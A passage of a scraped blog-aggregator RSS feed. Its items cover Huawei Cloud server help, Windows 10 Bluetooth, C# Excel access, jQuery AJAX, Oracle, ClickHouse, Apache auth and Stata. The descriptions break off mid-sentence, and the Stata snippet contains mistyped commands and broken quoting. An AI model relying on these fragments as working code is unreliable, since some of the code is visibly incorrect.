相关内容&#xA;本章节介绍如何使用弹性云服务器管理控制台上提供的远程登录(VNC方式)和如何使用密钥或密码方式(SSH方式)登录MRS集群中的节点，远程登录主要用于紧急运维场景，远程登录弹性云服务器进行相关维护操作。其他场景下，建议用户采用SSH方式登录。如果需要使用SSH方式登录集群节点，需要在集群的安全组规则中手动添加入方向规则：其中源地址为“客户端&#xA;场景举例在同一个VPC内，用户需要将某个安全组内一台裸金属服务器上的资源拷贝到另一个安全组内的裸金属服务器上时，可以将两台裸金属服务器设置为内网互通后再拷贝资源。在同一个VPC内，用户需要将某个安全组内一台裸金属服务器上的资源拷贝到另一个安全组内的裸金属服务器上时，可以将两台裸金属服务器设置为内网互通后再拷贝资源。安全组配置方法由于同一个&#xA;dw 怎么设置关掉一个服务器 更多内容&#xA;修改系统时间后服务器网卡出现感叹号，无法连接网络。该文档适用于CentOS 7、EulerOS，并使用DHCP协议获取IP场景。DHCP租约通常默认为24小时，具体以实际场景为例。DHCP会话过程：DHCP典型会话过程包括：DHCP发现、DHCP提供、DHCP请求、DHCP确认，如图1所示DHCP发现(DISCOVER)客户在物理子网上发&#xA;如图1所示，华为云ECS由系统盘和数据盘组成，分别为单独的磁盘。但云下服务器可能存在一个磁盘分为系统分区和其他分区。迁移时将图2所示的C盘和其他磁盘区分别迁移到华为云ECS的系统和数据盘上如何操作呢？获取目的端服务器所在账号的AK/SK。如果您需要直接使用账号来进行主机迁移，具体步骤请参见获取AK/SK(账号)。如果您在此账号中创建了IA&#xA;可以考虑如下方案：结合使用镜像的跨区域复制及共享，即：将云服务器制作为私有镜像，迁移至另一个帐号的其他区域，然后使用私有镜像创建新的云服务器。私有镜像迁移有两种方式：跨区域复制到同帐号的另一个区域，再共享给另一个帐号。将私有镜像共享给另一个帐号，另一个帐号接受后将其复制为私有镜像，再复制到其他区域。跨区域复制、共享镜像、复制共享镜像的操作&#xA;华为云帮助中心，为用户提供产品简介、价格说明、购买指南、用户指南、API参考、最佳实践、常见问题、视频帮助等技术文档，帮助您快速上手使用华为云服务。&#xA;使用VNC方式登录Linux云服务器，登录界面显示乱码。如图1所示。用户使用cat命令显示了一个较大二进制文件，导致云服务器登录界面显示乱码。使用root帐号登录弹性云服务器，执行以下命令进行恢复操作。resetreset命令是用来重新初始化终端，刷新终端屏幕。执行reset命令后会将混乱的显示清除掉，恢复正常显示状态。&#xA;源端服务器迁移至华为云后，最终将迁移到弹性云服务器上。因此在迁移前，您需要在华为云中创建一个或多个弹性云服务器。进入“弹性云服务器”页面。关于参数的详细信息，请参见购买弹性云服务器。Windows系统的目的端服务器“规格”中的“内存”大小要不小于2GB。“镜像”类型需要与源端服务器的OS类型一致。选择“磁盘”参数时，目的端服务器磁盘的数量&#xA;VPC为弹性云服务器构建隔离的、用户自主配置和管理的虚拟网络环境，提升用户云中资源的安全性，简化用户的网络部署。使用弹性文件服务时，文件系统和云服务器归属于同一VPC下才能文件共享。VPC可以通过网络ACL进行访问控制。网络ACL是对一个或多个子网的访问控制策略系统，根据与子网关联的入站/出站规则，判断数据包是否被允许流入/流出关联子网。&#xA;在使用负载均衡服务时，确保至少有一台后端服务器在正常运行，可以接收负载均衡转发的客户端请求。如果请求的需求流量上升，用户需要向负载均衡器添加更多后端服务器处理需求。移除负载均衡器绑定的后端服务器，后端服务器将不再收到负载均衡器转发的需求，但不会对服务器本身产生任何影响，只是解除了后端服务器和负载均衡器的关联关系。您可以在业务增长或者需要增&#xA;SCSI类型的共享云硬盘支持SCSI锁，为了提升数据的安全性，SCSI类型的共享云硬盘需挂载给同一个反亲和性云服务器组内的ECS。本节指导用户查询挂载了同一个SCSI共享盘的云服务器是否在同一个云服务器组中。云服务器组相关内容请参考：管理云服务器组。共享云硬盘的使用注意事项请参考：共享云硬盘及使用方法。登录管理控制台，查询挂载该共享盘的弹&#xA;在PS-Worker架构中，集群中的节点被分为两类：参数服务器(parameter server)和工作服务器(worker)。其中参数服务器存放模型的参数，而工作服务器负责计算参数的梯度。在每个迭代过程，工作服务器从参数服务器中获得参数，然后将计算的梯度返回给参数服务器，参数服务器聚合从工作服务器传回的梯度，然后更新参数，并将新的参数广&#xA;如果创建的私有镜像和云服务器在一个区域，后续可以为云服务器切换操作系统，选择私有镜像即可，如图1所示。切换操作系统的详细指导请参见“切换操作系统”。切换操作系统如果创建的私有镜像和云服务器不在一个区域，需要先将私有镜像复制到云服务器所在区域，然后按照情况一为云服务器切换操作系统。跨区域复制镜像的详细指导请参见“跨区域复制镜像”。</description>
    </item>
    <item>
      <title>win10系统蓝牙服务器,如何打开win10系统的蓝牙并进行设备添加</title>
      <link>https://bchobby.github.io/posts/18e424bde83eeca6fdd2decfd90d734e/</link>
      <pubDate>Fri, 06 Aug 2021 21:27:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/18e424bde83eeca6fdd2decfd90d734e/</guid>
      <description>如何打开win10系统的蓝牙并进行设备添加&#xA;腾讯视频/爱奇艺/优酷/外卖 充值4折起&#xA;今天给大家介绍一下如何打开win10系统的蓝牙并进行设备添加的具体操作步骤。&#xA;1. 打开电脑，进入桌面，在左下角点击【开始】，然后选择【设置】图标打开，&#xA;2. 在打开的Windows 设置页面，找到【设备】选项，打开&#xA;3. 然后在打开的页面左侧，点击蓝牙和其他设备选项，在右侧的蓝牙下，将开关打开。&#xA;4. 点击上方的添加蓝牙或其他设备，可以进行设备的添加&#xA;5. 另外在任务栏右下角找到蓝牙图标&#xA;6. 在蓝牙上右键，选择【打开设置】&#xA;7. 在打开的页面，同样可以选择打开或者关闭蓝牙&#xA;以上就是如何打开win10系统的蓝牙并进行设备添加的具体操作步骤。&#xA;腾讯视频/爱奇艺/优酷/外卖 充值4折起&#xA;时间：2020-03-04 15:21 / 作者：百科全说&#xA;许多小伙伴在使用笔记本的时候可能需要通过蓝牙来连接一些外设,可是如何在win10系统的电脑上打开呢?今天,小编就教大家打开win10系统笔记本的蓝牙.win10笔记本蓝牙在哪 win10笔记本蓝牙怎么打开1. 首先我们在win10笔记本上摁下键盘上的win键,之后在弹出的列表中点击[设置],如图.2. 然后在windows设置界面点击[设备],如图.3.之后可以在界面中看到蓝牙选项,将其下方的开关开启, 如图.4. 之后我们在桌面的任务栏中可以看到蓝牙图标,这个图标是可以删除的,如图.5. 之后&#xA;今天给大家介绍一下如何将win10系统的蓝牙功能打开的具体操作步骤.1. 打开电脑,进入桌面,点击左下角的开始图标,在打开的开始菜单中,选择左侧的设置图标.2. 进入设置页面后,找到设备选项,打开,然后点击页面左侧的蓝牙和其它设备选项3. 在打开的右侧页面,将蓝牙下的开关打开即可4. 我们也可以选择直接在设置页面下的搜索框里,输入蓝牙进行搜索,在下方直接点击进入进行设置即可以上就是如何将win10系统的蓝牙功能打开的具体操作步骤.&#xA;win10系统近期刚发布,可能有很多网友因为换界面后还不太清楚一些常见的功能在哪,蓝牙就是其中一个,如果您想使用win10下的蓝牙功能,但是找不到蓝牙在哪,不妨看本文关于win10界面下的蓝牙使用的介绍. 使用win10系统下蓝牙功能的前提是您的电脑支持蓝牙功能支持,绝大多数笔记本是带有蓝牙功能的,检查电脑是否支持蓝牙的方法是,打开win10设备管理器,查看里面是否有蓝牙设备,如果有则说明电脑支持蓝牙功能,否则不支持. 1.在Win10系统电脑任务栏左侧的搜索框中,搜索&#34;蓝牙&#34;,在弹出&#xA;Win10系统如何开启蓝牙?笔记本电脑上一般都带有蓝牙设备,我们的蓝牙耳机.蓝牙鼠标等设备都可以通过蓝牙连接,也可以和手机通过蓝牙传数据,下面小编就给大家带来Win10系统开启蓝牙的方法,一起来看看吧. 方法一. 按Win+S打开搜索窗口,输入“蓝牙”二字,在列表中就会出现蓝牙选项,点击进入蓝牙设置中将其开启即可. 方法二. 按Win+i打开设置界面,点击其中的“设备”选项. 在设备中点击蓝牙选项,将其开关设置为“开”即可. 台式机中因为没有配备蓝牙,所以并没有蓝牙选项.以上就是小编带来的Win&#xA;Win10系统电脑蓝牙连接手机的方法 首先鼠标点击左下角的Win标志,打开“开始菜单”,点击“设置” 在“设置”中,选择“设备”(蓝牙.打印机.鼠标)的那一项,点击打开 选择“蓝牙”,并且点击Bluetooth的开关,使他的状态为“开” 此时,电脑的一方已经就绪.所有,接下来打开手机的蓝牙,并且使手机的蓝牙“开放检测”,让其他设备能够搜索到手机的蓝牙.做好这些之后,电脑就搜索到了手机的蓝牙了,点击配对即可. 出现此画面之后在电脑上点击“是”,在手机上点击“配对”或者其他同意的按钮,配对成功之后设&#xA;最近有位win10系统用户因为需要管理本地和远程计算机,所以想要打开一组Windows管理工具---&#34;计算机管理&#34;,可是操作了很久都没成功.这该怎么办?如何打开win10系统计算机管理功能呢?下面,小编就给大家介绍Win10系统打开计算机管理的四种方法. 方法一: 1.快捷键Window徽标键+R键,打开&#34;运行&#34;程序. 2.运行,打开:输入compmgmt.msc敲回车. 3.就可以打开&#34;计算机管理&#34;. 方法二: 计算机右单击弹出快捷菜单选择管理&#xA;如何打开Win10系统多任务视图功能 1.首先看一下我们win10的多任务在哪,默认在任务栏中找到如下图的图标; 2.点选之后就会看到我们现在活动的窗口都排列在我们电脑桌面上的效果; 3.我们在排列的程序中选择应用商店,会自动的切换到应用商店,并将应用商店置于所有程序的最前方,这样就达到了我们切换程序的功能了; 4.看到右下角的新建桌面,选择新建桌面,就会看到在底部显示除了一个新的空桌面,名字叫桌面2; 5.选择桌面2 ,会发现一个和我们桌面一模一样但是没有打开任务程序的空桌面了,代表着新桌&#xA;今天,小编给大家分享打开win10系统中的夜间模式的方法,希望对大家有所帮助.具体如下:1. 首先,请大家将自己的win10系统电脑打开.</description>
    </item>
    <item>
      <title>c#访问文件服务器代码,net c#代码读取服务器端的Excel内容显示到客户端界面</title>
      <link>https://bchobby.github.io/posts/ad57f3af1370a7b83a6899a65cde45a5/</link>
      <pubDate>Fri, 06 Aug 2021 21:11:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ad57f3af1370a7b83a6899a65cde45a5/</guid>
      <description>下面的这个代码功能是：把服务器端的Excel导出数据到DataSet中，其中filepath为Excel文件的绝对路径， sheetname为excel工作薄里面的一个工作表的名称。&#xA;public DataSet ExcelDataSource(string filepath, string sheetname)&#xA;{&#xA;string strConn;&#xA;strConn = &#34;Provider=Microsoft.Jet.OLEDB.4.0;Data Source=&#34; + filepath + &#34;;Extended Properties=Excel 8.0;&#34;;&#xA;OleDbConnection conn = new OleDbConnection(strConn);&#xA;OleDbDataAdapter oada = new OleDbDataAdapter(&#34;select * from [&#34; + sheetname + &#34;]&#34;, strConn);&#xA;DataSet ds = new DataSet();&#xA;oada.Fill(ds);&#xA;conn.Close();&#xA;return ds;&#xA;}&#xA;//获得Excel中的所有sheetname。&#xA;public ArrayList ExcelSheetName(string filepath)&#xA;{&#xA;ArrayList al = new ArrayList();&#xA;string strConn;&#xA;strConn = &#34;Provider=Microsoft.Jet.OLEDB.4.0;Data Source=&#34; + filepath + &#34;</description>
    </item>
    <item>
      <title>jquery ajax restlet,java - Reading request data on RESTlet - Stack Overflow</title>
      <link>https://bchobby.github.io/posts/5c31aaf3219ce5ac3828ae380f5e1fd7/</link>
      <pubDate>Fri, 06 Aug 2021 20:44:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5c31aaf3219ce5ac3828ae380f5e1fd7/</guid>
      <description>I am trying to create a restful service, using GAE and RESTlet on the server side and jQuery on the client side. Dispite the very poor documentation on RESTlet, I am determined to familiarise myself with a restful framework. However, I can&#39;t even get the basic functionality out of it.&#xA;The problem I have is that out of GET, POST, PUT and DELETE, only DELETE requests appear to deliver the data part.</description>
    </item>
    <item>
      <title>手动修改service服务systemctl daemon-reload</title>
      <link>https://bchobby.github.io/posts/2422a7e933e9a263726db79c379e4f3b/</link>
      <pubDate>Fri, 06 Aug 2021 17:48:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2422a7e933e9a263726db79c379e4f3b/</guid>
      <description>手动修改service服务systemctl daemon-reload&#xA;CentOS 7下出现Warning: Unit file of mysql.service changed on disk, &#39;systemctl daemon-reload&#39; recommended.错误，根据提示，&#xA;解决方法：&#xA;systemctl daemon-reload&#xA;————————————————&#xA;版权声明：本文为CSDN博主「flyingsnails」的原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接及本声明。&#xA;原文链接：https://blog.csdn.net/alittleyatou/article/details/97376415</description>
    </item>
    <item>
      <title>文档转换 云服务器,文档转换服务</title>
      <link>https://bchobby.github.io/posts/4e753379b5be10f09c5c21103ccb1f13/</link>
      <pubDate>Fri, 06 Aug 2021 17:45:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4e753379b5be10f09c5c21103ccb1f13/</guid>
      <description>文档转换服务(yifangyun_preview)&#xA;描述&#xA;文档转换服务(yifangyun_preview)能帮您把各种office文档转换为PDF格式，从而达到在各个浏览器上面预览PDF的效果。&#xA;本服务由亿方云科技(以下简称亿方云)提供。启用服务后，您存储在七牛云空间的文件将在您主动请求的情况下被提供给亿方云以供其计算使用。服务价格请您参考具体的价格表及计费举例，您使用本服务产生的费用由七牛代收。启用服务则表示您知晓并同意以上内容。&#xA;如何开启&#xA;进入https://portal.qiniu.com/service/market, 找到文档转换服务点击开始使用。&#xA;请求&#xA;请求参数&#xA;yifangyun_preview/v2&#xA;/ext=&#xA;/action=&#xA;/format=&#xA;/page_number=&#xA;参数&#xA;必填&#xA;说明&#xA;Ext&#xA;否&#xA;当key的后缀不是文件的正确格式时，可以在这个参数中指定对应的格式，优先级大于key的后缀&#xA;Action&#xA;否&#xA;1. get_preview：获取文件预览(默认行为)&#xA;2. get_page_count：获取文件页码&#xA;DestFormat&#xA;否&#xA;目标格式&#xA;1. pdf(默认)&#xA;2.jpg当需要把office文档的某一页面转为jpg图片时，需要指定对应的页码并且原文件必须是pdf格式&#xA;PageNumber&#xA;否&#xA;文件的页码&#xA;支持转换的文件格式：&#xA;word: doc, docx, odt, rtf, wps&#xA;ppt: ppt, pptx, odp, dps&#xA;excel: xls, xlsx, ods, csv, et&#xA;注意：当需要把office转换为图片的时候，需要用本接口把office先转为pdf，然后从pdf转到jpg图片。&#xA;请求方式&#xA;因为考虑到转换时间会比较久，用http实时转换很容易出现超时，为达到更好的显示效果，需要使用异步处理来进行文档的转换&#xA;{&#xA;&#34;scope&#34;: &#34;ztest:preview_test.docx&#34;,&#xA;&#34;deadline&#34;: 1390528576,&#xA;&#34;persistentOps&#34;: &#34;yifangyun_preview&#34;,&#xA;&#34;persistentNotifyUrl&#34;: &#34;http://fake.com/qiniu/notify&#34;&#xA;}&#xA;以触发持久化处理形式，这一部分建议使用七牛提供的各个语言的SDK来处理：&#xA;POST /pfop/ HTTP/1.</description>
    </item>
    <item>
      <title>ajax400 not present,anti-forgery form field “__RequestVerificationToken” is not present when using j...</title>
      <link>https://bchobby.github.io/posts/13b0e4096d655085fba8f4207b0b4105/</link>
      <pubDate>Fri, 06 Aug 2021 17:03:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/13b0e4096d655085fba8f4207b0b4105/</guid>
      <description>I implemented the Razor equivalent for the solution described in the accepted answer for this Question:&#xA;System.Web.Mvc.HttpAntiForgeryException (0x80004005): The required&#xA;anti-forgery form field &#34;__RequestVerificationToken&#34; is not present.&#xA;edit&#xA;I manged to workaround it doing this:&#xA;function AddAntiForgeryToken(data) {&#xA;data.append(&#39;__RequestVerificationToken&#39;,$(&#39;#__AjaxAntiForgeryForm input[name=__RequestVerificationToken]&#39;).val());&#xA;return data;&#xA;};&#xA;function CallAjax(url, type, data, success, error) {&#xA;var ajaxOptions = { url: url, type: type, contentType: &#39;application/json&#39;};&#xA;if (type == &#39;POST&#39;) {&#xA;var fd = new window.</description>
    </item>
    <item>
      <title>怎么修改服务器数据库sys密码修改,oracle中两个服务器连接中sys密码修改问题</title>
      <link>https://bchobby.github.io/posts/d74415380724ccc4690e3e6ab602a342/</link>
      <pubDate>Fri, 06 Aug 2021 16:55:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d74415380724ccc4690e3e6ab602a342/</guid>
      <description>问题描述：orcl服务器要连接orclstd&#xA;想要sqlplus sys/410526@orclstd as sysdba 连接orclstd数据库，但是发现啥意思密码不对，就对sys密码进行重新设置&#xA;1.在orcl服务器上连接orclstd服务器&#xA;[oracle@orcl orcl]$ sqlplus sys/410526@orclstd as sysdba&#xA;SQL*Plus: Release 11.2.0.4.0 Production on Wed Nov 27 19:32:01 2019&#xA;Copyright (c) 1982, 2013, Oracle. All rights reserved.&#xA;ERROR:&#xA;ORA-01017: invalid username/password; logon denied&#xA;2.在orclstd上连接orcl服务器&#xA;[oracle@orcl orcl]$ sqlplus sys/410526@orcl as sysdba&#xA;SQL*Plus: Release 11.2.0.4.0 Production on Wed Nov 27 19:32:01 2019&#xA;Copyright (c) 1982, 2013, Oracle. All rights reserved.&#xA;ERROR:&#xA;ORA-01017: invalid username/password; logon denied&#xA;3.不确定sys密码，重新设置sys密码，orcl跟orclstd都设置密码</description>
    </item>
    <item>
      <title>ClickHouse创建MySql引擎报错（Code: 501）</title>
      <link>https://bchobby.github.io/posts/f9f66538c452205105526acbac0e350b/</link>
      <pubDate>Fri, 06 Aug 2021 16:51:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f9f66538c452205105526acbac0e350b/</guid>
      <description>日常踩坑，记录问题解决思路及过程！&#xA;最近工作中用到ClickHouse，并且需要同步MySql数据库中的数据，因此就想到使用ClickHouse的MySql数据库引擎，结果“勇敢的少年，倒在了第一步”。在ClickHouse客户端执行下面的Sql时报错了&#xA;CREATE DATABASE practice ENGINE = MySQL(&#39;IP:PORT&#39;,&#39;practice&#39;,&#39;用户名&#39;, &#39;密码&#39;); 报错信息如下：&#xA;Received exception from server (version 21.6.3):&#xA;Code: 501. DB::Exception: Received from localhost:9000. DB::Exception: Cannot create MySQL database, because Poco::Exception. Code: 1000, e.code() = 0, e.displayText() = Exception: Connections to all replicas failed: practice@192.168.164.78:3306 as user root,&#xA;说明：ClickHouse是在本机适用Docker安装，MySql是在本机直接安装。 看到报错后，第一反应是Docker容器与本机网络不同（事实这个猜想是错误的😂），但是为了排除这个原因，必须得坚持验证一下，这样才能说服自己，再去找其他原因。&#xA;对于程序员来说，验证网络是否通，那不是小菜一碟，直接干！ telnet&#xA;哎，Docker容器中竟然没有安装telnet，好吧！自己安装一下&#xA;apt-get update apt-get install telnet 两行命令搞定！执行telnet&#xA;到这里，网络不通猜想明显是错误的。其实回头想想，也不可能是网络的问题，同一台物理机，肯定是不存在网络的问题。&#xA;telnet没有到原因，但是看到下面重要的信息&#xA;GHost &#39;192.168.164.78&#39; is not allowed to connect to this MySQL serverConnection closed by foreign host.</description>
    </item>
    <item>
      <title>ajax获取所有文章,页面滚动到底部自动 Ajax 获取文章(示例代码)</title>
      <link>https://bchobby.github.io/posts/5b9bdb78a01cd9934fda5aa4020484fe/</link>
      <pubDate>Fri, 06 Aug 2021 16:24:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5b9bdb78a01cd9934fda5aa4020484fe/</guid>
      <description>var _timer = {};&#xA;function delay_till_last(id, fn, wait) {&#xA;if (_timer[id]) {&#xA;window.clearTimeout(_timer[id]);&#xA;delete _timer[id];&#xA;}&#xA;return _timer[id] = window.setTimeout(function() {&#xA;fn();&#xA;delete _timer[id];&#xA;}, wait);&#xA;}&#xA;$(document).ready(function() {&#xA;var Ajax_Url = null;&#xA;$(window).scroll(function(){&#xA;delay_till_last(‘scroll_Ajax‘, function(){&#xA;if($(window).scrollTop() &amp;gt;= $(document).height() - $(window).height() - 80){ //如果你没有底部固定栏可以把 80 适当减少&#xA;Ajax_Url = $(&#34;.nextpage a&#34;).attr(&#34;href&#34;);//一个隐藏 a 标签储存下一页要拉取的链接&#xA;if( Ajax_Url ){&#xA;$.ajax({&#xA;type: &#34;GET&#34;,&#xA;url: Ajax_Url,&#xA;success: function(data){&#xA;$(&#34;.nextpage&#34;).remove();&#xA;$(&#34;.postlist&#34;).append(data);&#xA;},&#xA;error: function(data){&#xA;$(&#34;.postlist&#34;).after(‘&#xA;文章获取失败 ‘); }</description>
    </item>
    <item>
      <title>怎么把文件传输服务器,怎么样把文件传输到远程服务器</title>
      <link>https://bchobby.github.io/posts/c4d6c1e65207b8f078a221fd0e49c071/</link>
      <pubDate>Fri, 06 Aug 2021 15:58:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c4d6c1e65207b8f078a221fd0e49c071/</guid>
      <description>怎么样把文件传输到远程服务器 内容精选&#xA;换一换&#xA;在本地主机和Windows云服务器上分别安装QQ.exe等工具进行数据传输。使用远程桌面连接mstsc方式进行数据传输。该方式不支持断点续传，可能存在传输中断的情况，因此不建议上传大文件。文件较大时，建议使用部署FTP服务等方式进行数据互传。登录本地主机。使用快捷键“Win+R”打开“运行”窗口。在“打开”栏，输入“mstsc”，打开远程&#xA;安装传输工具在本地主机和Windows云服务器上分别安装数据传输工具，将文件上传到云服务器。例如QQ.exe。在本地主机和Windows云服务器上分别安装数据传输工具，将文件上传到云服务器。例如QQ.exe。本地磁盘映射(推荐使用)使用远程桌面连接MSTSC方式进行数据传输。该方式不支持断点续传，可能存在传输中断的情况，因此不建议上传大文&#xA;怎么样把文件传输到远程服务器 相关内容&#xA;云堡垒机配置了FTP/SFTP远程备份，报请检查服务器密码或网络连接情况错误，不能启动远程备份。选择备份具体某一天日志，提示备份正在执行，但远程服务器未接收到该备份文件。原因一：云堡垒机配置的FTP/SFTP服务器账户或密码错误，导致远程备份失败。原因二：云堡垒机与FTP/SFTP服务器的网络连接不通，导致远程备份失败。原因三：FTP/S&#xA;在本地主机和Windows弹性云服务器上分别安装QQ.exe等工具进行数据传输。使用远程桌面连接mstsc方式进行数据传输。该方式不支持断点续传，可能存在传输中断的情况，因此不建议上传大文件。文件较大时，建议使用部署FTP服务等方式进行数据互传。登录本地主机。使用快捷键“Win+R”打开“运行”窗口。在“打开”栏，输入“mstsc”，打开&#xA;怎么样把文件传输到远程服务器 更多内容&#xA;怎样上传文件到Windows操作系统云服务器？安装传输工具在本地主机和Windows云服务器上分别安装数据传输工具，将文件上传到云服务器。例如QQ.exe。在本地主机和Windows云服务器上分别安装数据传输工具，将文件上传到云服务器。例如QQ.exe。本地磁盘映射(推荐使用)使用远程桌面连接MSTSC方式进行数据传输。该方式不支持断点续&#xA;华为云帮助中心，为用户提供产品简介、价格说明、购买指南、用户指南、API参考、最佳实践、常见问题、视频帮助等技术文档，帮助您快速上手使用华为云服务。&#xA;将文件上传至Windows云服务器一般会采用MSTSC远程桌面连接的方式。本节为您介绍本地Windows计算机通过远程桌面连接，上传文件至Windows云服务器的操作方法。Windows云服务器可以访问公网。在本地Windows计算机上，单击“开始”，在出现的“搜索程序和文件”输入框中输入mstsc。弹出远程桌面连接对话框。弹出远程桌面连&#xA;华为云帮助中心，为用户提供产品简介、价格说明、购买指南、用户指南、API参考、最佳实践、常见问题、视频帮助等技术文档，帮助您快速上手使用华为云服务。&#xA;华为云帮助中心，为用户提供产品简介、价格说明、购买指南、用户指南、API参考、最佳实践、常见问题、视频帮助等技术文档，帮助您快速上手使用华为云服务。&#xA;本节操作介绍如何在Windows操作系统的本地主机上使用FTP上传文件到云服务器。已在待上传文件的云服务器中搭建 FTP 服务。如果您的云服务器为 Windows 操作系统，具体操作请参考 搭建FTP 站点(Windows)。如果您的云服务器为 Linux 操作系统，具体操作请参考 搭建FTP 站点(Linux)。在Windows本地主机&#xA;华为云帮助中心，为用户提供产品简介、价格说明、购买指南、用户指南、API参考、最佳实践、常见问题、视频帮助等技术文档，帮助您快速上手使用华为云服务。&#xA;本节为您介绍如何在本机使用远程登录工具MSTSC登录Windows裸金属服务器。裸金属服务器状态必须为“运行中”。如果Windows裸金属服务器采用密钥方式鉴权，需要先获取裸金属服务器的密码，获取方式请参见获取Windows裸金属服务器的密码。裸金属服务器已经绑定弹性公网IP，绑定方式请参见绑定弹性公网IP至服务器。已配置安全组入方向的访&#xA;远程桌面协议(Remote Desktop Protocol，RDP)，是微软提供的多通道的远程登录协议。本节为您介绍如何使用RDP文件远程登录Windows云服务器。从管理控制台下载的RDP文件对应唯一的云服务器，当前RDP文件命名规则为“云服务器名称-弹性IP”。云服务器状态为“运行中”。云服务器已经绑定弹性公网IP。所在安全组入方向&#xA;只有运行中的云服务器云主机才允许用户登录。Windows操作系统用户名“Administrator”。首次登录云耀云服务器，请先通过“重置密码”功能设置登录密码。重置密码：选中待重置密码的云耀云服务器，并选择“操作”列下的“ 重置密码”。重置密码：选中待重置密码的云耀云服务器，并选择“操作”列下的“ 重置密码”。请根据需要选择登录方式，登&#xA;外部镜像文件在从原平台导出前，没有按照“Windows操作系统的镜像文件限制”的要求完成初始化操作，推荐您使用弹性云服务器完成相关配置。流程如图1所示。云服务器的正常运行依赖于XEN Guest OS driver(PV driver)和KVM Guest OS driver(UVP VMTools)，未安装会对云服务器运行时的性能产生影</description>
    </item>
    <item>
      <title>ajax局部无刷新数据案例,jquery ajax 局部无刷新更新数据的实现案例</title>
      <link>https://bchobby.github.io/posts/596b710d940cea01e38d5380a6cbe8f0/</link>
      <pubDate>Fri, 06 Aug 2021 15:46:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/596b710d940cea01e38d5380a6cbe8f0/</guid>
      <description>第一期&#xA;第二期&#xA;你好&#xA;function duoduo() {&#xA;$.ajax({&#xA;type: &#39;post&#39;, //可选get&#xA;url: &#39;ajax.aspx&#39;, //这里是接收数据的程序&#xA;data: &#39;data=&#39; + $(&#34;#lucky1&#34;).val(), //传给PHP的数据，多个参数用&amp;amp;连接&#xA;dataType: &#39;html&#39;, //服务器返回的数据类型 可选XML ,Json jsonp script html text等&#xA;success: function(msg) {&#xA;//这里是ajax提交成功后，程序返回的数据处理函数。msg是返回的数据，数据类型在dataType参数里定义！&#xA;document.getElementByIdx_x_x(&#34;duoduo&#34;).innerHTML = msg;&#xA;//$(&#34;#duoduo&#34;).innerHTML = msg;&#xA;},&#xA;error: function() {&#xA;alert(&#39;对不起失败了&#39;);&#xA;}&#xA;})&#xA;}</description>
    </item>
    <item>
      <title>验证不通过为啥还会掉ajax,为何ajax认证不通过</title>
      <link>https://bchobby.github.io/posts/e62914439f15b5f8af960b3f732aecb0/</link>
      <pubDate>Fri, 06 Aug 2021 15:00:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e62914439f15b5f8af960b3f732aecb0/</guid>
      <description>服务器上已经设置了cors&#xA;Header set Access-Control-Allow-Origin &#34;*&#34;&#xA;Header add Access-Control-Allow-Headers &#34;origin, content-type&#34;&#xA;Header always set Access-Control-Allow-Methods &#34;POST, GET, PUT, DELETE, OPTIONS&#34;&#xA;basic auth 也设置好了&#xA;AllowOverride AuthConfig&#xA;服务器端进一步的设置&#xA;cd /var/www/html &amp;amp;&amp;amp; vim .htaccess&#xA;AuthName &#34;login&#34;&#xA;AuthType Basic&#xA;AuthUserFile /var/www/html/passwd&#xA;require user username&#xA;Create password for username.&#xA;htpasswd -c /var/www/html/passwd username&#xA;systemctl restart httpd&#xA;输入111.111.111.111 跳出认证窗口，输入账号，密码，通过了，现在可以动手测试jquery代码了。&#xA;function Ajax( ) {&#xA;var username=&#34;xxxx&#34;;&#xA;var password=&#34;xxxx&#34;;&#xA;var url = &#39;http://111.111.111.111/remote.html&#39;;&#xA;$.ajax(url, {&#xA;type:&#34;GET&#34;,&#xA;dataType: &#39;html&#39;,</description>
    </item>
    <item>
      <title>stata面板数据聚类及数据导入处理、虚拟变量等</title>
      <link>https://bchobby.github.io/posts/bf6b6ca1ba848bdc5716b4ae97ad9945/</link>
      <pubDate>Fri, 06 Aug 2021 14:55:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bf6b6ca1ba848bdc5716b4ae97ad9945/</guid>
      <description>聚类 #聚类企业&#xA;streg y x i.time i.stkcd ,cluster(stkcd)&#xA;#聚类行业&#xA;streg y x i.time i.stkcd ,cluster(industry)&#xA;#聚类企业-时间&#xA;egen id_stkcd=goup(time stkcd)&#xA;streg y x i.time i.stkcd ,cluster(id_stkcd)&#xA;#聚类行业-时间&#xA;egrn id_industry=group(id_industry)&#xA;streg y x i.time i.stkcd ,cluster(id_industry)&#xA;#如果提示xxxx nonset，j加&#xA;nonset（具体单词忘记了）&#xA;stata导入数据&#xA;import excel using “C:/Users/lenovo/Desktop/竞争0627.xls”, firstrow clear&#xA;stata将第一行作为变量标签&#xA;foreach x of varlist * {&#xA;local vlabel = x&#39;[1] label varx’ “`vlabel’”&#xA;}&#xA;stata定义虚拟变量 tab make，gen（m）</description>
    </item>
    <item>
      <title>测绘资质高性能数据服务器,测绘资质分级标准2020年</title>
      <link>https://bchobby.github.io/posts/005324fd72134f9a82f83086c599f1db/</link>
      <pubDate>Fri, 06 Aug 2021 14:04:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/005324fd72134f9a82f83086c599f1db/</guid>
